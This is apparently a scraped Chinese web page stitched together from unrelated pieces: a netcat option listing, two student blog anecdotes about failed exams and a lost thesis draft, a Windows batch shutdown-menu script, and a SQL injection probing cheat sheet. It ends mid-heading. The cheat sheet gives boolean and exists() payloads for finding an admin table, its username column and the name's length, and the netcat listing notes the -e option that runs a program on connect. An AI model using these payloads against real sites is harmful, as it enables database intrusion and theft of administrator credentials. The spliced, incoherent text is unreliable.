nc这个小玩意儿应该大家耳熟能详，也用了N年了吧……这里不多讲废话，结合一些script说说它的使用技巧。(文中所举的script都来自于nc110.tgz的文件包)

一、基本使用

Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向，一旦连接，就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式，用于入站连接
-n 指定数字的IP地址，不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时

       随着毕业的脚步渐渐的临近，该自己犯难的事也来了，那就是补考了（国家已经明令不许再收补考费了，不知道偶们学校怎么还...... ），不但交钱还累人，首先bs下自己，连考试都过不了.........

      刚进大学的时候，我是怀着无比的热情准备投入到一个新的学习阶段。就像周董唱的那个意思：听妈妈的话，用功读书。结果大学中的传言是没有挂过科的学生不是大学生。不幸的是我第一个学期就真正的蜕变为一个大学生。
     事实上这多多少少跟我在学生会有关。因为在上大学之前我问别人要不要进学生会，然后那个人意味深长的对我说，大学就是教你怎么以后在社会上变坏……我没等他说完就想，那我一定要进学生会脱离这样的环境。结果那个人后来说，大学的学生会就是教你怎么变的更坏。
后来那人告诉我一定要争取进学生会，有这样那样的好处。好处之一就是考试不及格也有可能过。因为受强烈的利益驱使，我的行为背叛了我的思想，一路小跑的奔向学生会这个上进的集体。
就这样一个学期希拉糊涂的就没了，等期末考试来的时候我就想起了那位前辈的教导。然后在备考的那些天别人整天看书我就整天玩手机游戏，玩的寝室同仁们有时都为我的后果着想。我还要安慰他们：没有事，没有事，不用担心我。 事实证明我想起他的话是对的，因为后来许多学生会的都过了。但是我忽略了他那句话的局部，那就是有可能。结果因为我考试的成绩太离谱，提分都没办法提了。
我知道成绩的时候是在开学，这个时候距补考还有一个星期。补考不过就是重修。
这个消息基本就是在告诉我，准备钱，然后重修。因为那些书我一页一页翻都要一阵子。
这时，我又想起了那位前辈。然后我马上打电话问他怎么办。
“你给老师什么暗示了么？”

@ECHO off
TITLE 自动关机程序 作者:廖晓青

:start
CLS
COLOR 1f
rem 使用COLOR命令对控制台输出颜色进行更改
MODE con: COLS=41 LINES=18
rem MODE语句为设定窗体的宽和高
set tm1=%time:~0,2%
set tm2=%time:~3,2%
set tm3=%time:~6,2%
ECHO %date% %tm1%点%tm2%分%tm3%秒
ECHO =========================================
ECHO 请选择要进行的操作，然后按回车
ECHO ───────────────
ECHO.
ECHO 1. 定时关机
ECHO 2. 倒计时关机
ECHO 3. 删除定时关机任务
ECHO 4. 查看任务状态
ECHO 5. 刷新当前时间
ECHO 6. 重新启动
ECHO 7. 锁定计算机
ECHO 8. 注销
ECHO 9. 退出
ECHO.

     马上临近毕业了，毕业设计的任务下来都快1个月了，离交论文的时间越来越近，为了能顺利毕业，现在不得不没日没夜的加班。
   因为偶不善于学习自己的专业，所以自己做起来确实困难大了点， 再说题目也确实难了点，对于专科生来说要求高了点，不过老师指导的多，所以我们的课题已经有人做的差不多了，所以马上来个copy，没想到只是收集了大部分的资料，整理、排版的工作还得自己来，再说结论、绪论的东西用别人的有点不好啊，好不容易从下的论文上找了点可以用的东西放上去，可是偶的机子突然一个黑屏，罢工了！！
   倒！！！！
     大叫网管（因为偶们宿舍因为有电视的缘故，电给的时间不是很长，所以偶的电脑在10月刚开始的时候回家了！），网管sbxx的看了半天，没看出什么原因，这都是意料中的（因为他连怎么给windows设置密码都不知道！再倒），偶一气之下按了电源开关，因为刚开始以为偶一天的劳动成功还有恢复的可能，所以没敢重起，现在看起来没什么希望了！！原来是那个垃圾把老子电脑的电源给踩掉了，这里小夸一下中国的电路产品，掉了还有自动恢复的功能，一个字，强！！！！
   没办法，只好从开始做了！！！
   到了晚上7点左右的时候，终于整理的差不多了，肚子也饿的呱呱叫了，闪人先！！！！

检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
检测表段的

http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的

http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID

http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测长度的